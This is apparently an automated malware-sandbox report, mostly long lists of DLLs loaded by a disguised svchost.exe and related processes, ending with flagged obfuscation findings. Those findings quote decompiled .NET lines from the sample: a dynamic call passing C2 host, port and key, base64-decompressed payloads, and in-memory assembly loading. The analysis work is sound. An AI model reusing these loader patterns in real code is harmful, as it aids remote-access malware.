Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	Section loaded: d3dcompiler_43.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	Section loaded: d3dx11_43.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: amsi.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: userenv.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: rasman.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: rtutils.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: propsys.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: edputil.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: slc.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: sppc.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: avicap32.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: msvfw32.dll
Source: C:\Users\user\Desktop\._cache_svchost.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\svchost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\svchost.exe	Section loaded: apphelp.dll
Source: C:\Users\user\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\svchost.exe	Section loaded: version.dll
Source: C:\Users\user\svchost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\svchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\svchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\svchost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptprov.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll
Source: C:\Users\user\svchost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\svchost.exe	Section loaded: version.dll
Source: C:\Users\user\svchost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\svchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\svchost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\svchost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\svchost.exe	Section loaded: version.dll
Source: C:\Users\user\svchost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\svchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\svchost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: printworkflowservice.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandbrokerclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\svchost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\svchost.exe	Section loaded: version.dll
Source: C:\Users\user\svchost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\svchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\svchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\svchost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\svchost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\svchost.exe	Section loaded: version.dll
Source: C:\Users\user\svchost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\svchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\svchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\svchost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\svchost.exe	Section loaded: cryptbase.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\vFjEvxX.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\._cache_file.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Source: file.exe

Static file information: File size 5999616 > 1048576

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Source: file.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x50e400

Source:

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: ._cache_svchost.exe.5.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: ._cache_svchost.exe.5.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 5.0.svchost.exe.4b8e14.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 5.0.svchost.exe.4b8e14.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: svchost.exe.7.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: svchost.exe.7.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: ._cache_svchost.exe.5.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: ._cache_svchost.exe.5.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
